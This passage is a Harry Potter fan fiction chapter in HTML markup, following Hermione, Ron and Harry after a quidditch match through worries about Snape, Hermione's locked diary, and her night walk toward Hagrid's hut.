	(240, 12, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; We&#8217;ve got a lot of time to kill between the\nquidditch match and the Easter holidays (several weeks to be exact) but the\nbook skips over it.&nbsp; So I&#8217;m filling in\nthe gaps.&nbsp; Pansy is still licking her\nwounds from the last time Hermione got the better of her.&nbsp; Will she be able to settle the score against\nour heroine.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Madam Pomfrey was\nthe aged witch who ran the hospital wing.&nbsp;\nThough she had a stern voice, she was always kind to her patients and\nhadn&#8217;t met a magical ailment that she couldn&#8217;t cure.&nbsp; Hermione had never seen her in person before\nbut had heard all about her from Neville as he had been to the hospital wing\nmore times than the rest of Gryffindor House combined.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You again?&#8221; Madam Pomfrey said as Hermione and Ron carried\nNeville in. &#8220;What has Mr. Longbottom gotten himself into this time?&nbsp; Oh never mind, I don&#8217;t want to know, just put\nhim over there.&nbsp; I&#8217;ll get to him in a\nmoment.&#8221; She gestured to one of the beds.&nbsp;\n&#8220;And here, let me fix that up.&#8221; She pointed her wand at Ron&#8217;s nose and\nbefore he knew it, the blood had disappeared and his nose was completely\nhealed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow, thanks!&#8221;\nRon said as he and Hermione laid Neville in the bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You better be\nglad that&#8217;s all you got, Weasley,&#8221; came a drawling voice from across the\nroom.&nbsp; Malfoy and his cronies were also\nin the hospital wing.&nbsp; He was getting\ntreated for a black eye. &#8220;A few more minutes and you would have ended up like\nLongbottom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron made a motion\nlike he was going to attack Malfoy but Hermione stopped him. &#8220;Come on Ron,\nlet&#8217;s go to dinner.&nbsp; Harry&#8217;s probably\nwaiting for us.&#8221; She turned to the school nurse. &#8220;Will Neville be okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course he will\ndear.&nbsp; Just leave him there,&#8221; Madam Pomfrey\nsaid huffily as is if she found the notion that she couldn&#8217;t handle one\nunconscious student ridiculous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s right,\nWeasley.&nbsp; Listen to your little muggle\ngirlfriend and run away,&#8221; Malfoy taunted as Madam Pomfrey tried to tend to his\neye.&nbsp; This time it was Ron who had to\nhold Hermione back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If you don&#8217;t\nshut up I&#8217;m going to end up popping your eye out instead of healing it,&#8221; the\nnurse warned Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do it,&#8221; Hermione\nsnapped. &#8220;It&#8217;d make him look a whole lot better.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How do Fred and\nGeorge keep getting into the kitchens without getting caught?&#8221; Hermione said\ntaking some custard from Ron.&nbsp; There was\na huge celebration party going on in the Gryffindor common room after dinner.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221;\nRon shrugged. &#8220;You&#8217;d think someone in the kitchen staff would notice food going\nmissing.&nbsp; They say they&#8217;ve been doing it\nfor years.&nbsp; I guess they&#8217;ve got a\nsystem.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, where&#8217;s the guest of honor,&#8221; Fred Weasley came up to\nhis brother.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm, I don&#8217;t\nknow,&#8221; Ron said looking around. &#8220;When we didn&#8217;t see him at dinner, we thought\nhe was with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred shook his\nhead. &#8220;Nope, he went to put his broom away and that&#8217;s the last I saw of him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Ron\nexchanged a look that made it all too clear they were both thinking the same\nthing.&nbsp; Had Snape attacked Harry after\nthe game?&nbsp; Without a word, they both took\noff for the portrait exit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should have\nstayed with him,&#8221; Hermione said frantically as they started down the corridor.\n&#8220;There&#8217;s no telling what could have happened after the game.&nbsp; Snape could have gotten him alone.&nbsp; Dumbledore left right after the game.&nbsp; Oh Ron what are we going to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;First, you are\ngoing to calm down,&#8221; Ron said shortly. &#8220;We&#8217;ll head out to the quidditch field\nand see if he&#8217;s still there.&nbsp; If he&#8217;s\nnot&#8230;&#8221; Ron trailed off as they headed down the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If he&#8217;s not?&#8221; Hermione asked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll find him.&#8217;\nRon said determinedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bit her\nbottom lip.&nbsp; She didn&#8217;t think she could\nhandle anymore stress that day.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Hermione\nchecked the quidditch field, locker rooms, broom shed, and all of the\nsurrounding area.&nbsp; There was no sign of\nHarry.&nbsp; It was getting dark now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve looked all\nover, Ron.&nbsp; We should go tell\nDumbledore,&#8221; Hermione pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How, we don&#8217;t\neven know where Dumbledore stays in the castle,&#8221; Ron reasoned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well then, we\nshould go to McGonagall,&#8221; Hermione insisted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright,\nlet&#8217;s&#8230;&#8221; Ron was staring at the castle. &#8220;Wait a minute&#8230; I think&#8230; I think that&#8217;s\nhim.&nbsp; Look, he&#8217;s heading back from the\nbroom shed.&nbsp; Why didn&#8217;t we see him\nbefore?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngrumbled. &#8220;He&#8217;s probably been out flying around this whole time, while we&#8217;ve\nbeen down here worrying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You might be right.&nbsp; Well at least he&#8217;s okay.&nbsp; Look, Hermione, let&#8217;s not tell Harry that we\nwere so worried about him.&nbsp; He&#8217;s had\nenough stress.&nbsp; Alright?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to protest but she stopped herself.&nbsp;\nShe supposed Ron had a point.&nbsp; They\nran to the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, where\nhave you been?&#8221; Hermione started when they caught up with him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave her a\ndirty look as if to remind her of what he had just told her not five minutes\nbefore and she promptly shut up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We Won! You\nWon!&nbsp; We Won!&#8221; Ron shouted.&nbsp; A broad smile had replaced his previous strained\nlook as he started to tell Harry all about the fight in the stands and the\nparty that awaited him in Gryffindor Tower.&nbsp;\nHarry didn&#8217;t seem interested in any of this.&nbsp; He looked flushed and out of breath.&nbsp; Instead of going with Ron and Hermione back\nto their common room, he dragged them to the nearest empty classroom and shut\nthe door behind them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, what&#8217;s\nwrong?&#8221; Hermione asked immediately after he shut them in. &#8220;What happened?&nbsp; Did Snape try something after the game?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s more than that;\nI saw Quirrell and Snape in the Forbidden Forest.&nbsp; He practically threatened Quirrell if he\ndidn&#8217;t help him steal the Sorcerer&#8217;s Stone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were in the\nForbidden Forest?&#8221; Ron said.&nbsp; It seemed\nthat this was the only part of the story he had registered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, are you\nlistening to me?&#8221; Harry asked exasperated. &#8220;Snape <i style="mso-bidi-font-style:\nnormal">threatened </i>Quirrell!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione dropped\ndown in a nearby chair in shock as she half listened to Harry.&nbsp; Things seemed to be getting worse.&nbsp; Not only was Snape trying to get the\nSorcerer&#8217;s Stone and kill Harry, he was now threatening other professors.&nbsp; It all made sense of course.&nbsp; There had to be other things guarding the\nstone beyond the three-headed dog, most likely a barrage of spells and\nenchantments.&nbsp; What if there were already\nother professors in cahoots with Snape?&nbsp;\nHarry had overheard Snape telling Quirrell to think about &#8220;where his\nloyalties lie.&#8221; Did that mean that the Defense Against\nthe Dark Arts Professor was only one of a few still against Snape?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you mean the\nstone&#8217;s only safe so long as Quirrell stands up to\nSnape?&#8221; Hermione finally asked, voicing her fears.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;ll be gone by\nnext Tuesday,&#8221; Ron quipped in a hopeless sort of voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s <i style="mso-bidi-font-style:normal">not </i>funny,&#8221; Hermione said irritably.\n&#8220;This is serious.&nbsp; Now I <i style="mso-bidi-font-style:normal">really </i>think we should go to Dumbledore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And tell him\nwhat?&#8221; Harry asked in exasperation. &#8220;We still can&#8217;t prove anything.&nbsp; You should have seen Quirrell in the forest\nHermione.&nbsp; He was stuttering even worse\nthan normal.&nbsp; He&#8217;s <i style="mso-bidi-font-style:\nnormal">terrified </i>of Snape.&nbsp; He&#8217;d be\ntoo afraid to back us up if we went to Dumbledore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to argue further but at that moment, Peeves the Poltergeist burst through\nthe door. &#8220;Ooooo, ickle firsties!&#8221; he cackled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed.\n&#8220;Come on let&#8217;s get out of here.&nbsp; We can\ntalk about this later.&#8221; The trio retreated as Peeves started to toss chairs\naround the room.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But it didn&#8217;t\nmatter how many times they talked about it, the conversation just kept going in\ncircles.&nbsp; Hermione insisted the best choice\nof action was to go to a professor or the headmaster, or writing to Nicolas\nFlamel himself, or even the Ministry of Magic, but all of these options had the\nsame flaw.&nbsp; They didn&#8217;t have proof and\nfurthermore they were beginning to wonder who they could trust.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was content\nto wait until they could get more information and Ron sided with him but\nHermione was almost frantic with worry.&nbsp;\nWhat if Snape tried to kill him again?&nbsp;\nSure it would be difficult to do within the confines of the castle, but\nit seemed as if Snape was becoming desperate and that meant he might try\nanything.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There next\nPotions lesson proved that Snape&#8217;s hatred towards Harry had doubled.&nbsp; It was like a public torture session.&nbsp; Snape was even ignoring Neville&#8217;s consistent\nincompetence to pick on every little thing Harry did, even if it wasn&#8217;t\nwrong.&nbsp; In his opinion even the way Harry\ndiced his toadstools was grounds for public reticule.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was an\nabsolute nightmare,&#8221; Harry griped as they exited the potions class after what\nseemed like an eternity. &#8220;Is this what I have to look forward to the rest of\nthe year?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;At least when\nhe&#8217;s ridiculing you, he&#8217;s not trying to kill you,&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh aren&#8217;t we a\nbright little ray of sunshine!&#8221; Ron said rolling his eyes. &#8220;Do you have to keep\nbringing that up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think\nit&#8217;ll go away if I hush up?&nbsp; We have a\nserious problem here and I think we need to do something about it&#8221; Hermione\nsaid, launching into her fourth argument with Ron for the day.&nbsp; Ever since the night of Harry&#8217;s last quidditch\ngame, they had been arguing a lot about what to do.&nbsp; They were of course both concerned about\nHarry, but seemed to show it in different ways.&nbsp;\nRon preferred being loyal to whatever Harry decided and not questioning\nit.&nbsp; Hermione wanted to do what was best\nfor Harry even if he didn&#8217;t think it was the right idea.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nrealized that Ron never really got over the fact that Harry was famous which is\nwhy he always went along with whatever Harry said.&nbsp; Hermione however, didn&#8217;t see Harry as just a\nfamous wizard anymore.&nbsp; She still thought\nhe was extremely unique but after being friends with him for several months\nnow, she felt more comfortable around him and knew that she could speak her\nmind and not have to worry about losing his respect or friendship.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;He&#8217;s such a lap dog and he doesn&#8217;t even\nknow it.&nbsp; It&#8217;s not like Harry asks him to\nagree with everything he says,&#8221;</i> Hermione thought to herself as she\ncontinued her fight with Ron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why do you have\nto be so disagreeable?&#8221; Ron was saying.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not being\ndisagreeable; I&#8217;m being realistic,&#8221; Hermione retorted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Will you two\nstop already!&#8221; Harry said finally. &#8220;I think the best\nthing we can do now is go and see Hagrid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hagrid?&#8221; Hermione and Ron repeated simultaneously,\nforgetting their argument.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, maybe we\ncan get more information about the Sorcerer&#8217;s Stone; find out what else is\nprotecting it beyond Fluffy.&nbsp; Maybe then\nwe can get an idea of how much farther Snape has to go before he can get the\nstone.&nbsp; We&#8217;ll go see him during our break\nthis afternoon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good idea,&#8221; Ron\nsaid immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Good boy&#8230; here&#8217;s a doggie treat,&#8221;</i>\nHermione laughed mentally.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After lunch,\nHermione went to her dormitory, plopped down on her bed and pulled the diary\nfrom beneath her pillow so she could write in it.&nbsp; It was a great way to relieve stress,\nespecially considering all that had happened in the past few weeks.&nbsp; Not only did she have Harry to worry about,\nbut her father had written her recently to remind her that he expected her to\nreceive top marks on her final exams.&nbsp; In\nthe letter he wrote that there would be no way to avoid showing her marks when\nshe came home for the summer and that he hoped to see numerical proof of how\nwell she was doing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She hadn&#8217;t told\nher parents anything about the Sorcerer&#8217;s Stone or Snape, so they had no idea how\nmuch pressure she was under already.&nbsp;\nEven if she did, she knew her father wouldn&#8217;t see that as an excuse to\nlet her studies suffer. <i style="mso-bidi-font-style:normal">&#8220;You can&#8217;t go\naround worrying about other people&#8217;s problems.&nbsp;\nYou have your own life to worry about and right now your life is\nstudying,&#8221;</i> she imagined him saying if she told him about how she was\nconcerned for Harry&#8217;s life.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Also she knew\nthat her parents might yank her out of Hogwarts if they felt she was in danger\nand despite all that was going on, leaving the castle was the last thing\nHermione wanted.&nbsp; She was so much happier\nthan she&#8217;d ever been.&nbsp; The thought of\nlosing her new friends, even Ron, was devastating.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So she let out\nher emotional baggage in her journal.&nbsp;\nShe only wrote when things became far too stressful for her to keep it\nbottled up inside.&nbsp; She didn&#8217;t think\nHarry could take her breaking down into tears again, and she often wondered if\nthat&#8217;s why he bought the journal for her to begin with.&nbsp;&nbsp; When she wrote, she pretended that she was\nwriting a letter to Harry, it made more sense than writing to a book.&nbsp; Besides, Harry had told her to use it in\nsituations when she felt she couldn&#8217;t talk to him, so it was only appropriate\nthat he be the one she pretended to write to.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pulled out a\nquill and ink bottle from her school bag beside the bed and tapped the cover of\nthe green book with her wand, &#8220;Imperamora.&#8221;&nbsp; Then she turned to the back page and wrote\n&#8220;Harry and Hermione Friends Forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The words\nshimmered for a second and then faded from view.&nbsp; New words appeared in her handwriting.\n&#8220;Hello, Hermione:&nbsp; Your Diary is Now\nUnlocked,&#8221; along with a list of options she could choose from to find old\nentries.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned to a\nblank page, dipped her quill in the black ink, and began to write.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Dear Harry,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Being your friend isn&#8217;t easy.&nbsp; I&#8217;ve gotten used to you being famous, and\nstares following us wherever we go, but I guess there are still some aspects of\nyour life that I will never get used to.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I wish I could be as calm as you are\nabout someone trying to kill you, but I can&#8217;t.&nbsp;\nI&#8217;m so worried and scared for you.&nbsp;\nI guess I should be scared for myself too.&nbsp; What if Snape came after me because I&#8217;m your\nfriend?&nbsp; But that doesn&#8217;t seem to bother\nme as much as the thought of you getting hurt or killed.&nbsp; You&#8217;ve been lucky up until now, but that&#8217;s\nall it&#8217;s been; luck.&nbsp; I just hope that&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221;\nLavender came through the door. &#8220;Harry sent me to come fetch you,&#8221; she sounded\nas if the idea of being Harry&#8217;s messenger girl both disgusted and amused her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsighed.&nbsp; She hated being disrupted by her\nroommates while writing in her diary. &#8220;Why didn&#8217;t he just come up here\nhimself,&#8217; she muttered as she slammed the book shut.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Duh, he&#8217;s a\nboy,&#8221; Lavender said as she sat on her own bed. &#8220;He can&#8217;t get past the spell at\nthe bottom of the stairs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh that&#8217;s\nright,&#8221; Hermione had forgotten about the self-renewing spell that prevented\nboys and girls from going into each others dormitories.&nbsp; She&#8217;d heard some of the older students knew\nhow to get past it, but this seemed to be a very well kept secret.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grabbed\nher bag, out of habit more than anything else, and headed down the stairs to\nmeet Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When she was sure\nHermione was gone, Lavender grabbed the diary off of the bed.&nbsp; She pulled out her wand, &#8220;Imperamora,&#8221;\nshe whispered.&nbsp; The book opened again but\nthe pages were completely blank again.&nbsp;\nShe had hoped that since she had caught Hermione off guard, she would be\nable to see everything in the diary.&nbsp;\nLavender was completely unaware of the special properties of the small\ngreen book, but she and Parvati knew it was her diary and were hopping to learn\nmore about Harry by reading it.&nbsp; So far,\nthey had no luck in figuring out how to read it.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry, Ron, and\nHermione marched across the courtyard to the familiar hut.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So how are we\ngoing to get Hagrid to tell us more about the stone?&#8221; Hermione asked as they\nwalked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll just ask\nhim,&#8221; Ron said matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes. &#8220;Oh, brilliant idea.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ignored\nthem.&nbsp; He knocked on Hagrid&#8217;s door.\n&#8220;Hagrid, it&#8217;s us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was no\nanswer; not even the familiar booming bark of Hagrid&#8217;s large dog, Fang.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where could he\nbe?&#8221; Harry had never known Hagrid not to be in his hut on a Friday afternoon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe he&#8217;s out\ndoing his game-keeping duties,&#8221; Ron suggested.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That doesn&#8217;t\nexplain why Fang isn&#8217;t there,&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Maybe he&#8217;s out\nrunning an errand for Dumbledore,&#8221; Harry said as they started back to the\ncastle. &#8220;Hagrid told me once that Dumbledore had him run important errands.&nbsp; We&#8217;ll try back again tomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It seemed that\nwherever Hagrid had gone, he was going to be away for a while.&nbsp; The trio tired all weekend to find him, but\nhe was nowhere on the grounds.&nbsp; During\nthe following week, they did see Hagrid once, but when they went to his cabin\nat the end of the day, he was gone again.&nbsp;\nThey decided to wait until they saw him again at the high table during\none of their meals and then they would know whether or not he was back.&nbsp; In the meantime, their schoolwork had reached\nan all time high and f they didn&#8217;t have time to think about the Sorcerer&#8217;s\nStone or Snape for a while.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a long\nnight of studying in the common room with Harry and Ron, Hermione went up to\nher room, prepared to collapse in her bed.&nbsp;\nIt was just after midnight and when she opened the door to her\ndormitory, she expected to be greeted by the sound of Lavender&#8217;s snores.&nbsp; However, both of her roommates were wide\nawake, standing at the window.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s up?&#8221;\nHermione asked sleepily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There was some\nweird noise.&nbsp; We both heard it; it woke\nus up.&nbsp; We think it came from the\nforest.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stepped\nup to the window.&nbsp; She didn&#8217;t see\nanything unusual about the forest but something did catch her attention.&nbsp; From their window she could see Hagrid&#8217;s hut.&nbsp; The lights were on inside.&nbsp; That must have meant he was back, but for how\nlong?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati and\nLavender headed back to bed. &#8220;Oh well.&#8221; Parvati yawned. &#8220;I hope whatever it is,\nstays in the forest.&nbsp; You&#8217;d think we&#8217;d\nhave enough to worry about without having to live beside a forest full of\ngoodness-knows-what.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione headed\nfor the door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey where are\nyou going?&#8221; Lavender asked sleepily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I forgot\nsomething,&#8221; Hermione said vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rushed\ndown the stairs to find Harry and Ron and tell them what she had seen.&nbsp; Maybe they would be willing to sneak out and\ntalk to Hagrid now.&nbsp; It wasn&#8217;t the kind\nof thing she thought they&#8217;d object to.&nbsp;\nShe had left them only 5 minutes beforehand but they were already\ngone.&nbsp; The common room was dark and\ncompletely empty now.&nbsp; Hermione made her\nway to the stairs leading to the boys&#8217; dormitories, but no sooner had she gone\nthrough the door was she forced backwards.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I forgot about that stupid gender repelling\nspell.&nbsp; I&#8217;ll never get up there.&#8221;</i>\nHermione was about to head back to her own dormitory when she got an idea.&nbsp; She didn&#8217;t need Harry and Ron.&nbsp; She could sneak out and talk to Hagrid on her\nown.&nbsp; She already had her wand; it would\nbe a piece of cake.&nbsp; It wasn&#8217;t like she\nhadn&#8217;t done it before.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She grinned\nmischievously to herself. <i style="mso-bidi-font-style:normal">&#8220;Hermione\nGranger; rebel, rule breaker, and all around bad girl.&#8221;</i><i style="mso-bidi-font-style:normal">&nbsp; </i>She\nmarched purposely towards the portrait door and pushed her way through.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The castle seemed\ncompletely empty.&nbsp; Even the pictures were\nunusually still. &nbsp;It only took her few minutes\nto reach the main doors of the castle.&nbsp;\nShe hadn&#8217;t run into a single teacher or ghost on the four flights\ndown.&nbsp; As she stepped out into the\ncourtyard she noticed that the moon was completely covered by clouds, making it\nunusually dark.&nbsp; She used a simple spell,\n&#8220;Lumos,&#8221; and a beam of light appeared at the end of\nher wand.&nbsp; Hermione walked quickly across\nthe soft wet grass towards Hagrid&#8217;s hut.&nbsp;\nShe hadn&#8217;t thought it would be this easy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly, there\nwas a loud growl.&nbsp; Hermione jumped.&nbsp; There was a rustling sound in the trees\nnearby.&nbsp; Hagrid&#8217;s hut was right next to\nthe Forbidden Forest and from the sound of things, something was about to jump\nout.&nbsp; Hermione paused for a moment.&nbsp; Should she continue towards\nHagrid&#8217;s house and thus towards the forest?&nbsp; There was another growl, and then suddenly a\nflash of light from out of nowhere.&nbsp; Hermione\nimmediately turned and bolted towards the castle.&nbsp; She didn&#8217;t stop running into 